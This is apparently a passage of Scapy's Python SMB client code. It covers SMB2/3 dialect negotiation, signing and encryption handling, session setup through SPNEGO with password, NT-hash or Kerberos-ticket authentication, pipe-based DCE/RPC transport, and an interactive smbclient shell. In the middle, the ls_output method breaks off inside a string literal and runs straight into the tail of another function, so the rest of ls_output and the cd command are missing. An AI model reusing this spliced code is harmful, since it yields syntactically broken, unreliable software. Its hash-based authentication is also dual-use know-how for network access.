self.smb_header.copy() / SMB2_Negotiate_Protocol_Request( Dialects=self.DIALECTS, SecurityMode=( "SIGNING_ENABLED+SIGNING_REQUIRED" if self.session.SigningRequired else "SIGNING_ENABLED" ), ) if self.MAX_DIALECT >= 0x0210: # "If the client implements the SMB 2.1 or SMB 3.x dialect, ClientGuid # MUST be set to the global ClientGuid value" pkt.ClientGUID = self.GUID # Capabilities: same as [MS-SMB2] 3.3.5.4 self.NegotiateCapabilities = "+".join( [ "DFS", "LEASING", "LARGE_MTU", ] ) if self.MAX_DIALECT >= 0x0300: # "if Connection.Dialect belongs to the SMB 3.x dialect family ..." self.NegotiateCapabilities += "+" + "+".join( [ "MULTI_CHANNEL", "PERSISTENT_HANDLES", "DIRECTORY_LEASING", "ENCRYPTION", ] ) if self.MAX_DIALECT >= 0x0311: # "If the client implements the SMB 3.1.1 dialect, it MUST do" pkt.NegotiateContexts = [ SMB2_Negotiate_Context() / SMB2_Preauth_Integrity_Capabilities( # As for today, no other hash algorithm is described by the spec HashAlgorithms=["SHA-512"], Salt=self.session.Salt, ), SMB2_Negotiate_Context() / SMB2_Encryption_Capabilities( Ciphers=self.session.SupportedCipherIds, ), # TODO support compression and RDMA SMB2_Negotiate_Context() / SMB2_Netname_Negotiate_Context_ID( NetName=self.HOST, ), SMB2_Negotiate_Context() / SMB2_Signing_Capabilities( SigningAlgorithms=self.session.SupportedSigningAlgorithmIds, ), ] pkt.Capabilities = self.NegotiateCapabilities # Send self.send(pkt) # If required, compute sessions self.session.computeSMBConnectionPreauth( bytes(pkt[SMB2_Header]), # nego request ) @ATMT.receive_condition(SENT_NEGOTIATE) def receive_negotiate_response(self, pkt): if ( SMBNegotiate_Response_Extended_Security in pkt or SMB2_Negotiate_Protocol_Response in pkt ): # Extended SMB1 / SMB2 try: ssp_blob = pkt.SecurityBlob # eventually SPNEGO server initiation except AttributeError: ssp_blob = None if ( SMB2_Negotiate_Protocol_Response in pkt and pkt.DialectRevision & 0xFF == 0xFF ): # Version is SMB X.??? # [MS-SMB2] 3.2.5.2 # If the DialectRevision field in the SMB2 NEGOTIATE Response is # 0x02FF ... the client MUST allocate sequence number 1 from # Connection.SequenceWindow, and MUST set MessageId field of the # SMB2 header to 1. self.SequenceWindow = (1, 1) self.smb_header = DirectTCP() / SMB2_Header(PID=0xFEFF, MID=1) self.SMB2 = True # We're now using SMB2 to talk to the server raise self.SMB2_NEGOTIATE() else: if SMB2_Negotiate_Protocol_Response in pkt: # SMB2 was negotiated ! self.session.Dialect = pkt.DialectRevision # If required, compute sessions self.session.computeSMBConnectionPreauth( bytes(pkt[SMB2_Header]), # nego response ) # Process max sizes self.session.MaxReadSize = pkt.MaxReadSize self.session.MaxTransactionSize = pkt.MaxTransactionSize self.session.MaxWriteSize = pkt.MaxWriteSize # Process SecurityMode if pkt.SecurityMode.SIGNING_REQUIRED: self.session.SigningRequired = True # Process capabilities if self.session.Dialect >= 0x0300: self.session.SupportsEncryption = pkt.Capabilities.ENCRYPTION # Process NegotiateContext if self.session.Dialect >= 0x0311 and pkt.NegotiateContextsCount: for ngctx in pkt.NegotiateContexts: if ngctx.ContextType == 0x0002: # SMB2_ENCRYPTION_CAPABILITIES if ngctx.Ciphers[0] != 0: self.session.CipherId = SMB2_ENCRYPTION_CIPHERS[ ngctx.Ciphers[0] ] self.session.SupportsEncryption = True elif ngctx.ContextType == 0x0008: # SMB2_SIGNING_CAPABILITIES self.session.SigningAlgorithmId = ( SMB2_SIGNING_ALGORITHMS[ngctx.SigningAlgorithms[0]] ) if self.REQUIRE_ENCRYPTION and not self.session.SupportsEncryption: self.ErrorStatus = "NEGOTIATE FAILURE: encryption." raise self.NEGO_FAILED() self.update_smbheader(pkt) raise self.NEGOTIATED(ssp_blob) elif SMBNegotiate_Response_Security in pkt: # Non-extended SMB1 # Never tested. FIXME. probably broken raise self.NEGOTIATED(pkt.Challenge) @ATMT.state(final=1) def NEGO_FAILED(self): self.smb_sock_ready.set() @ATMT.state() def NEGOTIATED(self, ssp_blob=None): # Negotiated ! We now know the Dialect if self.session.Dialect > 0x0202: # [MS-SMB2] sect 3.2.5.1.4 self.smb_header.CreditRequest = 1 # Begin session establishment ssp_tuple = self.session.ssp.GSS_Init_sec_context( self.session.sspcontext, input_token=ssp_blob, target_name="cifs/" + self.HOST if self.HOST else None, req_flags=( GSS_C_FLAGS.GSS_C_MUTUAL_FLAG | (GSS_C_FLAGS.GSS_C_INTEG_FLAG if self.session.SigningRequired else 0) ), ) return ssp_tuple def update_smbheader(self, pkt): """ Called when receiving a SMB2 packet to update the current smb_header """ # Some values should not be updated when ASYNC if not pkt.Flags.SMB2_FLAGS_ASYNC_COMMAND: # Update IDs self.smb_header.SessionId = pkt.SessionId self.smb_header.TID = pkt.TID self.smb_header.PID = pkt.PID # Update credits self.CurrentCreditCount += pkt.CreditRequest # [MS-SMB2] 3.2.5.1.4 self.SequenceWindow = ( self.SequenceWindow[0] + max(pkt.CreditCharge, 1), self.SequenceWindow[1] + pkt.CreditRequest, ) # DEV: add a condition on NEGOTIATED with prio=0 @ATMT.condition(NEGOTIATED, prio=1) def should_send_session_setup_request(self, ssp_tuple): _, _, status = ssp_tuple if status not in [GSS_S_COMPLETE, GSS_S_CONTINUE_NEEDED]: raise ValueError("Internal error: the SSP completed with an error.") raise self.SENT_SESSION_REQUEST().action_parameters(ssp_tuple) @ATMT.state() def SENT_SESSION_REQUEST(self): pass @ATMT.action(should_send_session_setup_request) def send_setup_session_request(self, ssp_tuple): self.session.sspcontext, token, status = ssp_tuple if self.SMB2 and status == GSS_S_CONTINUE_NEEDED: # New session: force 0 self.SessionId = 0 if self.SMB2 or self.EXTENDED_SECURITY: # SMB1 extended / SMB2 if self.SMB2: # SMB2 pkt = self.smb_header.copy() / SMB2_Session_Setup_Request( Capabilities="DFS", SecurityMode=( "SIGNING_ENABLED+SIGNING_REQUIRED" if self.session.SigningRequired else "SIGNING_ENABLED" ), ) else: # SMB1 extended pkt = ( self.smb_header.copy() / SMBSession_Setup_AndX_Request_Extended_Security( ServerCapabilities=( "UNICODE+NT_SMBS+STATUS32+LEVEL_II_OPLOCKS+" "DYNAMIC_REAUTH+EXTENDED_SECURITY" ), NativeOS=b"", NativeLanMan=b"", ) ) pkt.SecurityBlob = token else: # Non-extended security. pkt = self.smb_header.copy() / SMBSession_Setup_AndX_Request( ServerCapabilities="UNICODE+NT_SMBS+STATUS32+LEVEL_II_OPLOCKS", NativeOS=b"", NativeLanMan=b"", OEMPassword=b"\0" * 24, UnicodePassword=token, ) self.send(pkt) if self.SMB2: # If required, compute sessions self.session.computeSMBSessionPreauth( bytes(pkt[SMB2_Header]), # session request ) @ATMT.receive_condition(SENT_SESSION_REQUEST) def receive_session_setup_response(self, pkt): if ( SMBSession_Null in pkt or SMBSession_Setup_AndX_Response_Extended_Security in pkt or SMBSession_Setup_AndX_Response in pkt ): # SMB1 if SMBSession_Null in pkt: # Likely an error raise self.NEGOTIATED() # Logging if pkt.Status != 0 and pkt.Status != 0xC0000016: # Not SUCCESS nor MORE_PROCESSING_REQUIRED: log self.ErrorStatus = pkt.sprintf("%SMB2_Header.Status%") self.debug( lvl=1, msg=conf.color_theme.red( pkt.sprintf("SMB Session Setup Response: %SMB2_Header.Status%") ), ) if self.SMB2: self.update_smbheader(pkt) # Cases depending on the response packet if ( SMBSession_Setup_AndX_Response_Extended_Security in pkt or SMB2_Session_Setup_Response in pkt ): # The server assigns us a SessionId self.smb_header.SessionId = pkt.SessionId # SMB1 extended / SMB2 if pkt.Status == 0: # Authenticated if SMB2_Session_Setup_Response in pkt: # [MS-SMB2] sect 3.2.5.3.1 if pkt.SessionFlags.IS_GUEST: # "If the security subsystem indicates that the session # was established by a guest user, Session.SigningRequired # MUST be set to FALSE and Session.IsGuest MUST be set to TRUE." self.session.IsGuest = True self.session.SigningRequired = False elif self.session.Dialect >= 0x0300: if pkt.SessionFlags.ENCRYPT_DATA or self.REQUIRE_ENCRYPTION: self.session.EncryptData = True self.session.SigningRequired = False raise self.AUTHENTICATED(pkt.SecurityBlob) else: if SMB2_Header in pkt: # If required, compute sessions self.session.computeSMBSessionPreauth( bytes(pkt[SMB2_Header]), # session response ) # Ongoing auth raise self.NEGOTIATED(pkt.SecurityBlob) elif SMBSession_Setup_AndX_Response_Extended_Security in pkt: # SMB1 non-extended pass elif SMB2_Error_Response in pkt: # Authentication failure self.session.sspcontext.clifailure() # Reset Session preauth (SMB 3.1.1) self.session.SessionPreauthIntegrityHashValue = None if not self.RETRY: raise self.AUTH_FAILED() self.debug(lvl=2, msg="RETRY: %s" % self.RETRY) self.RETRY -= 1 raise self.NEGOTIATED() @ATMT.state(final=1) def AUTH_FAILED(self): self.smb_sock_ready.set() @ATMT.state() def AUTHENTICATED(self, ssp_blob=None): self.session.sspcontext, _, status = self.session.ssp.GSS_Init_sec_context( self.session.sspcontext, input_token=ssp_blob, target_name="cifs/" + self.HOST if self.HOST else None, ) if status != GSS_S_COMPLETE: raise ValueError("Internal error: the SSP completed with an error.") # Authentication was successful self.session.computeSMBSessionKeys(IsClient=True) # DEV: add a condition on AUTHENTICATED with prio=0 @ATMT.condition(AUTHENTICATED, prio=1) def authenticated_post_actions(self): raise self.SOCKET_BIND() # Plain SMB Socket @ATMT.state() def SOCKET_BIND(self): self.smb_sock_ready.set() @ATMT.condition(SOCKET_BIND) def start_smb_socket(self): raise self.SOCKET_MODE_SMB() @ATMT.state() def SOCKET_MODE_SMB(self): pass @ATMT.receive_condition(SOCKET_MODE_SMB) def incoming_data_received_smb(self, pkt): raise self.SOCKET_MODE_SMB().action_parameters(pkt) @ATMT.action(incoming_data_received_smb) def receive_data_smb(self, pkt): resp = pkt[SMB2_Header].payload if isinstance(resp, SMB2_Error_Response): if pkt.Status == 0x00000103: # STATUS_PENDING # answer is coming later.. just wait... return if pkt.Status == 0x0000010B: # STATUS_NOTIFY_CLEANUP # this is a notify cleanup. ignore return self.update_smbheader(pkt) # Add the status to the response as metadata resp.NTStatus = pkt.sprintf("%SMB2_Header.Status%") self.oi.smbpipe.send(resp) @ATMT.ioevent(SOCKET_MODE_SMB, name="smbpipe", as_supersocket="smblink") def outgoing_data_received_smb(self, fd): raise self.SOCKET_MODE_SMB().action_parameters(fd.recv()) @ATMT.action(outgoing_data_received_smb) def send_data(self, d): self.send(self.smb_header.copy() / d) class SMB_SOCKET(SuperSocket): """ Mid-level wrapper over SMB_Client.smblink that provides some basic SMB client functions, such as tree connect, directory query, etc. """ def __init__(self, smbsock, use_ioctl=True, timeout=3): self.ins = smbsock self.timeout = timeout if not self.ins.atmt.smb_sock_ready.wait(timeout=timeout): # If we have a SSP, tell it we failed. if self.session.sspcontext: self.session.sspcontext.clifailure() raise TimeoutError( "The SMB handshake timed out ! (enable debug=1 for logs)" ) if self.ins.atmt.ErrorStatus: raise Scapy_Exception( "SMB Session Setup failed: %s" % self.ins.atmt.ErrorStatus ) @classmethod def from_tcpsock(cls, sock, **kwargs): """ Wraps the tcp socket in a SMB_Client.smblink first, then into the SMB_SOCKET/SMB_RPC_SOCKET """ return cls( use_ioctl=kwargs.pop("use_ioctl", True), timeout=kwargs.pop("timeout", 3), smbsock=SMB_Client.from_tcpsock(sock, **kwargs), ) @property def session(self): return self.ins.atmt.session def set_TID(self, TID): """ Set the TID (Tree ID). This can be called before sending a packet """ self.ins.atmt.smb_header.TID = TID def get_TID(self): """ Get the current TID from the underlying socket """ return self.ins.atmt.smb_header.TID def tree_connect(self, name): """ Send a TreeConnect request """ resp = self.ins.sr1( SMB2_Tree_Connect_Request( Buffer=[ ( "Path", "\\\\%s\\%s" % ( self.session.sspcontext.ServerHostname, name, ), ) ] ), verbose=False, timeout=self.timeout, ) if not resp: raise ValueError("TreeConnect timed out !") if SMB2_Tree_Connect_Response not in resp: raise ValueError("Failed TreeConnect ! %s" % resp.NTStatus) # [MS-SMB2] sect 3.2.5.5 if self.session.Dialect >= 0x0300: if resp.ShareFlags.ENCRYPT_DATA and self.session.SupportsEncryption: self.session.TreeEncryptData = True else: self.session.TreeEncryptData = False return self.get_TID() def tree_disconnect(self): """ Send a TreeDisconnect request """ resp = self.ins.sr1( SMB2_Tree_Disconnect_Request(), verbose=False, timeout=self.timeout, ) if not resp: raise ValueError("TreeDisconnect timed out !") if SMB2_Tree_Disconnect_Response not in resp: raise ValueError("Failed TreeDisconnect ! %s" % resp.NTStatus) def create_request( self, name, mode="r", type="pipe", extra_create_options=[], extra_desired_access=[], ): """ Open a file/pipe by its name :param name: the name of the file or named pipe. e.g. 'srvsvc' """ ShareAccess = [] DesiredAccess = [] # Common params depending on the access if "r" in mode: ShareAccess.append("FILE_SHARE_READ") DesiredAccess.extend(["FILE_READ_DATA", "FILE_READ_ATTRIBUTES"]) if "w" in mode: ShareAccess.append("FILE_SHARE_WRITE") DesiredAccess.extend(["FILE_WRITE_DATA", "FILE_WRITE_ATTRIBUTES"]) if "d" in mode: ShareAccess.append("FILE_SHARE_DELETE") # Params depending on the type FileAttributes = [] CreateOptions = [] CreateContexts = [] CreateDisposition = "FILE_OPEN" if type == "folder": FileAttributes.append("FILE_ATTRIBUTE_DIRECTORY") CreateOptions.append("FILE_DIRECTORY_FILE") elif type in ["file", "pipe"]: CreateOptions = ["FILE_NON_DIRECTORY_FILE"] if "r" in mode: DesiredAccess.extend(["FILE_READ_EA", "READ_CONTROL", "SYNCHRONIZE"]) if "w" in mode: CreateDisposition = "FILE_OVERWRITE_IF" DesiredAccess.append("FILE_WRITE_EA") if "d" in mode: DesiredAccess.append("DELETE") CreateOptions.append("FILE_DELETE_ON_CLOSE") if type == "file": FileAttributes.append("FILE_ATTRIBUTE_NORMAL") elif type: raise ValueError("Unknown type: %s" % type) # [MS-SMB2] 3.2.4.3.8 RequestedOplockLevel = 0 if self.session.Dialect >= 0x0300: RequestedOplockLevel = "SMB2_OPLOCK_LEVEL_LEASE" elif self.session.Dialect >= 0x0210 and type == "file": RequestedOplockLevel = "SMB2_OPLOCK_LEVEL_LEASE" # SMB 3.X if self.session.Dialect >= 0x0300 and type in ["file", "folder"]: CreateContexts.extend( [ # [SMB2] sect 3.2.4.3.5 SMB2_Create_Context( Name=b"DH2Q", Data=SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2( CreateGuid=RandUUID()._fix() ), ), # [SMB2] sect 3.2.4.3.9 SMB2_Create_Context( Name=b"MxAc", ), # [SMB2] sect 3.2.4.3.10 SMB2_Create_Context( Name=b"QFid", ), # [SMB2] sect 3.2.4.3.8 SMB2_Create_Context( Name=b"RqLs", Data=SMB2_CREATE_REQUEST_LEASE_V2(LeaseKey=RandUUID()._fix()), ), ] ) elif self.session.Dialect == 0x0210 and type == "file": CreateContexts.extend( [ # [SMB2] sect 3.2.4.3.8 SMB2_Create_Context( Name=b"RqLs", Data=SMB2_CREATE_REQUEST_LEASE(LeaseKey=RandUUID()._fix()), ), ] ) # Extra options if extra_create_options: CreateOptions.extend(extra_create_options) if extra_desired_access: DesiredAccess.extend(extra_desired_access) # Request resp = self.ins.sr1( SMB2_Create_Request( ImpersonationLevel="Impersonation", DesiredAccess="+".join(DesiredAccess), CreateDisposition=CreateDisposition, CreateOptions="+".join(CreateOptions), ShareAccess="+".join(ShareAccess), FileAttributes="+".join(FileAttributes), CreateContexts=CreateContexts, RequestedOplockLevel=RequestedOplockLevel, Name=name, ), verbose=0, timeout=self.timeout, ) if not resp: raise ValueError("CreateRequest timed out !") if SMB2_Create_Response not in resp: raise ValueError("Failed CreateRequest ! %s" % resp.NTStatus) return resp[SMB2_Create_Response].FileId def close_request(self, FileId): """ Close the FileId """ pkt = SMB2_Close_Request(FileId=FileId) resp = self.ins.sr1(pkt, verbose=0, timeout=self.timeout) if not resp: raise ValueError("CloseRequest timed out !") if SMB2_Close_Response not in resp: raise ValueError("Failed CloseRequest ! %s" % resp.NTStatus) def read_request(self, FileId, Length, Offset=0): """ Read request """ resp = self.ins.sr1( SMB2_Read_Request( FileId=FileId, Length=Length, Offset=Offset, ), verbose=0, timeout=self.timeout * 10, ) if not resp: raise ValueError("ReadRequest timed out !") if SMB2_Read_Response not in resp: raise ValueError("Failed ReadRequest ! %s" % resp.NTStatus) return resp.Data def write_request(self, Data, FileId, Offset=0): """ Write request """ resp = self.ins.sr1( SMB2_Write_Request( FileId=FileId, Data=Data, Offset=Offset, ), verbose=0, timeout=self.timeout * 10, ) if not resp: raise ValueError("WriteRequest timed out !") if SMB2_Write_Response not in resp: raise ValueError("Failed WriteRequest ! %s" % resp.NTStatus) return resp.Count def query_directory(self, FileId, FileName="*"): """ Query the Directory with FileId """ results = [] Flags = "SMB2_RESTART_SCANS" while True: pkt = SMB2_Query_Directory_Request( FileInformationClass="FileIdBothDirectoryInformation", FileId=FileId, FileName=FileName, Flags=Flags, ) resp = self.ins.sr1(pkt, verbose=0, timeout=self.timeout) Flags = 0 # only the first one is RESTART_SCANS if not resp: raise ValueError("QueryDirectory timed out !") if SMB2_Error_Response in resp: break elif SMB2_Query_Directory_Response not in resp: raise ValueError("Failed QueryDirectory ! %s" % resp.NTStatus) res = FileIdBothDirectoryInformation(resp.Output) results.extend( [ ( x.FileName, x.FileAttributes, x.EndOfFile, x.LastWriteTime, ) for x in res.files ] ) return results def query_info(self, FileId, InfoType, FileInfoClass, AdditionalInformation=0): """ Query the Info """ pkt = SMB2_Query_Info_Request( InfoType=InfoType, FileInfoClass=FileInfoClass, OutputBufferLength=65535, FileId=FileId, AdditionalInformation=AdditionalInformation, ) resp = self.ins.sr1(pkt, verbose=0, timeout=self.timeout) if not resp: raise ValueError("QueryInfo timed out !") if SMB2_Query_Info_Response not in resp: raise ValueError("Failed QueryInfo ! %s" % resp.NTStatus) return resp.Output def changenotify(self, FileId): """ Register change notify """ pkt = SMB2_Change_Notify_Request( Flags="SMB2_WATCH_TREE", OutputBufferLength=65535, FileId=FileId, CompletionFilter=0x0FFF, ) # we can wait forever, not a problem in this one resp = self.ins.sr1(pkt, verbose=0, chainCC=True) if SMB2_Change_Notify_Response not in resp: raise ValueError("Failed ChangeNotify ! %s" % resp.NTStatus) return resp.Output class SMB_RPC_SOCKET(ObjectPipe, SMB_SOCKET): """ Extends SMB_SOCKET (which is a wrapper over SMB_Client.smblink) to send DCE/RPC messages (bind, reqs, etc.) This is usable as a normal SuperSocket (sr1, etc.) and performs the wrapping of the DCE/RPC messages into SMB2_Write/Read packets. """ def __init__(self, smbsock, use_ioctl=True, timeout=3): self.use_ioctl = use_ioctl ObjectPipe.__init__(self, "SMB_RPC_SOCKET") SMB_SOCKET.__init__(self, smbsock, timeout=timeout) def open_pipe(self, name): self.PipeFileId = self.create_request(name, mode="rw", type="pipe") def close_pipe(self): self.close_request(self.PipeFileId) self.PipeFileId = None def send(self, x): """ Internal ObjectPipe function. """ # Reminder: this class is an ObjectPipe, it's just a queue. # Detect if DCE/RPC is fragmented. Then we must use Read/Write is_frag = x.pfc_flags & 3 != 3 if self.use_ioctl and not is_frag and self.session.Dialect >= 0x0210: # Use IOCTLRequest pkt = SMB2_IOCTL_Request( FileId=self.PipeFileId, Flags="SMB2_0_IOCTL_IS_FSCTL", CtlCode="FSCTL_PIPE_TRANSCEIVE", ) pkt.Input = bytes(x) resp = self.ins.sr1(pkt, verbose=0) if SMB2_IOCTL_Response not in resp: raise ValueError("Failed reading IOCTL_Response ! %s" % resp.NTStatus) data = bytes(resp.Output) super(SMB_RPC_SOCKET, self).send(data) # Handle BUFFER_OVERFLOW (big DCE/RPC response) while resp.NTStatus == "STATUS_BUFFER_OVERFLOW" or data[3] & 2 != 2: # Retrieve DCE/RPC full size resp = self.ins.sr1( SMB2_Read_Request( FileId=self.PipeFileId, ), verbose=0, ) data = resp.Data super(SMB_RPC_SOCKET, self).send(data) else: # Use WriteRequest/ReadRequest pkt = SMB2_Write_Request( FileId=self.PipeFileId, ) pkt.Data = bytes(x) # We send the Write Request resp = self.ins.sr1(pkt, verbose=0) if SMB2_Write_Response not in resp: raise ValueError("Failed sending WriteResponse ! %s" % resp.NTStatus) # If fragmented, only read if it's the last. if is_frag and not x.pfc_flags.PFC_LAST_FRAG: return # We send a Read Request afterwards resp = self.ins.sr1( SMB2_Read_Request( FileId=self.PipeFileId, ), verbose=0, ) if SMB2_Read_Response not in resp: raise ValueError("Failed reading ReadResponse ! %s" % resp.NTStatus) super(SMB_RPC_SOCKET, self).send(resp.Data) # Handle fragmented response while resp.Data[3] & 2 != 2: # PFC_LAST_FRAG not set # Retrieve DCE/RPC full size resp = self.ins.sr1( SMB2_Read_Request( FileId=self.PipeFileId, ), verbose=0, ) super(SMB_RPC_SOCKET, self).send(resp.Data) def close(self): SMB_SOCKET.close(self) ObjectPipe.close(self) @conf.commands.register class smbclient(CLIUtil): r""" A simple SMB client CLI powered by Scapy :param target: can be a hostname, the IPv4 or the IPv6 to connect to :param UPN: the upn to use (DOMAIN/USER, DOMAIN\USER, USER@DOMAIN or USER) :param guest: use guest mode (over NTLM) :param ssp: if provided, use this SSP for auth. :param kerberos_required: require kerberos :param port: the TCP port. default 445 :param password: if provided, used for auth :param HashNt: if provided, used for auth (NTLM) :param HashAes256Sha96: if provided, used for auth (Kerberos) :param HashAes128Sha96: if provided, used for auth (Kerberos) :param ST: if provided, the service ticket to use (Kerberos) :param KEY: if provided, the session key associated to the ticket (Kerberos) :param cli: CLI mode (default True). False to use for scripting Some additional SMB parameters are available under help(SMB_Client). Some of them include the following: :param REQUIRE_ENCRYPTION: requires encryption. """ def __init__( self, target: str, UPN: str = None, password: str = None, guest: bool = False, kerberos_required: bool = False, HashNt: bytes = None, HashAes256Sha96: bytes = None, HashAes128Sha96: bytes = None, use_krb5ccname: bool = False, port: int = 445, timeout: int = 5, debug: int = 0, ssp=None, ST=None, KEY=None, cli=True, # SMB arguments REQUIRE_ENCRYPTION=False, **kwargs, ): if cli: self._depcheck() assert UPN or ssp or guest, "Either UPN, ssp or guest must be provided !" # Do we need to build a SSP? if ssp is None: # Create the SSP (only if not guest mode) if not guest: ssp = SPNEGOSSP.from_cli_arguments( UPN=UPN, target=target, password=password, HashNt=HashNt, HashAes256Sha96=HashAes256Sha96, HashAes128Sha96=HashAes128Sha96, ST=ST, KEY=KEY, kerberos_required=kerberos_required, use_krb5ccname=use_krb5ccname, ) else: # Guest mode ssp = None # Check if target is IPv4 or IPv6 if ":" in target: family = socket.AF_INET6 else: family = socket.AF_INET # Open socket sock = socket.socket(family, socket.SOCK_STREAM) # Configure socket for SMB: # - TCP KEEPALIVE, TCP_KEEPIDLE and TCP_KEEPINTVL. Against a Windows server this # isn't necessary, but samba kills the socket VERY fast otherwise. # - set TCP_NODELAY to disable Nagle's algorithm (we're streaming data) sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 10) sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 10) # Timeout & connect sock.settimeout(timeout) if debug: print("Connecting to %s:%s" % (target, port)) sock.connect((target, port)) self.extra_create_options = [] # Wrap with the automaton self.timeout = timeout kwargs.setdefault("HOST", target) self.sock = SMB_Client.from_tcpsock( sock, ssp=ssp, debug=debug, REQUIRE_ENCRYPTION=REQUIRE_ENCRYPTION, timeout=timeout, **kwargs, ) try: # Wrap with SMB_SOCKET self.smbsock = SMB_SOCKET(self.sock, timeout=self.timeout) # Wait for either the atmt to fail, or the smb_sock_ready to timeout _t = time.time() while True: if self.sock.atmt.smb_sock_ready.is_set(): # yay break if not self.sock.atmt.isrunning(): status = self.sock.atmt.get("Status") raise Scapy_Exception( "%s with status %s" % ( self.sock.atmt.state.state, STATUS_ERREF.get(status, hex(status)), ) ) if time.time() - _t > timeout: self.sock.close() raise TimeoutError("The SMB handshake timed out.") time.sleep(0.1) except Exception: # Something bad happened, end the socket/automaton self.sock.close() raise # For some usages, we will also need the RPC wrapper from scapy.layers.msrpce.rpcclient import DCERPC_Client self.rpcclient = DCERPC_Client.from_smblink( self.sock, ndr64=False, verb=bool(debug), ) # We have a valid smb connection ! print( "%s authentication successful using %s%s !" % ( SMB_DIALECTS.get( self.smbsock.session.Dialect, "SMB %s" % self.smbsock.session.Dialect, ), repr(self.smbsock.session.sspcontext), " as GUEST" if self.smbsock.session.IsGuest else "", ) ) # Now define some variables for our CLI self.pwd = pathlib.PureWindowsPath("/") self.localpwd = pathlib.Path(".").resolve() self.current_tree = None self.ls_cache = {} # cache the listing of the current directory self.sh_cache = [] # cache the shares # Start CLI if cli: self.loop(debug=debug) def ps1(self): return r"smb: \%s> " % self.normalize_path(self.pwd) def close(self): print("Connection closed") self.smbsock.close() def _require_share(self, silent=False): if self.current_tree is None: if not silent: print("No share selected ! Try 'shares' then 'use'.") return True def collapse_path(self, path): # the amount of pathlib.wtf you need to do to resolve .. on all platforms # is ridiculous return pathlib.PureWindowsPath(os.path.normpath(path.as_posix())) def normalize_path(self, path): """ Normalize path for CIFS usage """ return str(self.collapse_path(path)).lstrip("\\") @CLIUtil.addcommand() def shares(self): """ List the shares available """ # Poll cache if self.sh_cache: return self.sh_cache # It's an RPC self.rpcclient.open_smbpipe("srvsvc") self.rpcclient.bind(find_dcerpc_interface("srvsvc")) req = NetrShareEnum_Request( InfoStruct=LPSHARE_ENUM_STRUCT( Level=1, ShareInfo=NDRUnion( tag=1, value=SHARE_INFO_1_CONTAINER(Buffer=None), ), ), PreferedMaximumLength=0xFFFFFFFF, ndr64=self.rpcclient.ndr64, ) resp = self.rpcclient.sr1_req(req, timeout=self.timeout) self.rpcclient.close_smbpipe() if resp.status != 0: resp.show() raise ValueError("NetrShareEnum_Request failed !") results = [] for share in resp.valueof("InfoStruct.ShareInfo.Buffer"): shi1_type = share.valueof("shi1_type") & 0x0FFFFFFF results.append( ( share.valueof("shi1_netname").decode(), SRVSVC_SHARE_TYPES.get(shi1_type, shi1_type), share.valueof("shi1_remark").decode(), ) ) self.sh_cache = results # cache return results @CLIUtil.addoutput(shares) def shares_output(self, results): """ Print the output of 'shares' """ print(pretty_list(results, [("ShareName", "ShareType", "Comment")])) @CLIUtil.addcommand(mono=True) def use(self, share): """ Open a share """ self.current_tree = self.smbsock.tree_connect(share) self.pwd = pathlib.PureWindowsPath("/") self.ls_cache.clear() @CLIUtil.addcomplete(use) def use_complete(self, share): """ Auto-complete 'use' """ return [ x[0] for x in self.shares() if x[0].startswith(share) and x[0] != "IPC$" ] def _parsepath(self, arg, remote=True): """ Parse a path. Returns the parent folder and file name """ # Find parent directory if it exists elt = (pathlib.PureWindowsPath if remote else pathlib.Path)(arg) eltpar = (pathlib.PureWindowsPath if remote else pathlib.Path)(".") eltname = elt.name if arg.endswith("/") or arg.endswith("\\"): eltpar = elt eltname = "" elif elt.parent and elt.parent.name or elt.is_absolute(): eltpar = elt.parent return eltpar, eltname def _fs_complete(self, arg, cond=None): """ Return a listing of the remote files for completion purposes """ if cond is None: cond = lambda _: True eltpar, eltname = self._parsepath(arg) # ls in that directory try: files = self.ls(parent=eltpar) except ValueError: return [] return [ str(eltpar / x[0]) for x in files if ( x[0].lower().startswith(eltname.lower()) and x[0] not in [".", ".."] and cond(x[1]) ) ] def _dir_complete(self, arg): """ Return a directories of remote files for completion purposes """ results = self._fs_complete( arg, cond=lambda x: x.FILE_ATTRIBUTE_DIRECTORY, ) if len(results) == 1 and results[0].startswith(arg): # skip through folders return [results[0] + "\\"] return results @CLIUtil.addcommand(mono=True) def ls(self, parent=None): """ List the files in the remote directory -t: sort by timestamp -S: sort by size -r: reverse while sorting """ if self._require_share(): return # Get pwd of the ls pwd = self.pwd if parent is not None: pwd /= parent pwd = self.normalize_path(pwd) # Poll the cache if self.ls_cache and pwd in self.ls_cache: return self.ls_cache[pwd] self.smbsock.set_TID(self.current_tree) # Open folder fileId = self.smbsock.create_request( pwd, type="folder", extra_create_options=self.extra_create_options, ) # Query the folder files = self.smbsock.query_directory(fileId) # Close the folder self.smbsock.close_request(fileId) self.ls_cache[pwd] = files # Store cache return files @CLIUtil.addoutput(ls) def ls_output(self, results, *, t=False, S=False, r=False): """ Print the output of 'ls' """ fld = UTCTimeField( "", None, fmt=" works str(eltpar / x.name) for x in eltpar.resolve().glob("*") if (x.name.lower().startswith(eltname.lower()) and cond(x)) ] @CLIUtil.addoutput(cd) def cd_output(self, result): """ Print the output of 'cd' """ if result: print(result) @CLIUtil.addcommand() def lls(self): """ List the files in the local directory """ return list(self.localpwd.glob("*")) @CLIUtil.addoutput(lls) def lls_output(self, results): """ Print the output of 'lls' """ results = [ ( x.name, human_size(stat.st_size), time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(stat.st_mtime)), ) for x, stat in ((x, x.stat()) for x in results) ] print( pretty_list(results, [("FileName", "File Size", "Last Modification Time")]) ) @CLIUtil.addcommand(mono=True) def lcd(self, folder): """ Change the local current directory """ if not folder: # show mode return str(self.localpwd) self.localpwd /= folder self.localpwd = self.localpwd.resolve() @CLIUtil.addcomplete(lcd) def lcd_complete(self, folder): """ Auto-complete lcd """ return self._lfs_complete(folder, lambda x: x.is_dir()) @CLIUtil.addoutput(lcd) def lcd_output(self, result): """ Print the output of 'lcd' """ if result: print(result) def _get_file(self, file, fd): """ Gets the file bytes from a remote host """ # Get pwd of the ls fpath = self.pwd / file self.smbsock.set_TID(self.current_tree) # Open file fileId = self.smbsock.create_request( self.normalize_path(fpath), type="file", extra_create_options=[ "FILE_SEQUENTIAL_ONLY", ] + self.extra_create_options, ) # Get the file size info = FileAllInformation( self.smbsock.query_info( FileId=fileId, InfoType="SMB2_0_INFO_FILE", FileInfoClass="FileAllInformation", ) ) length 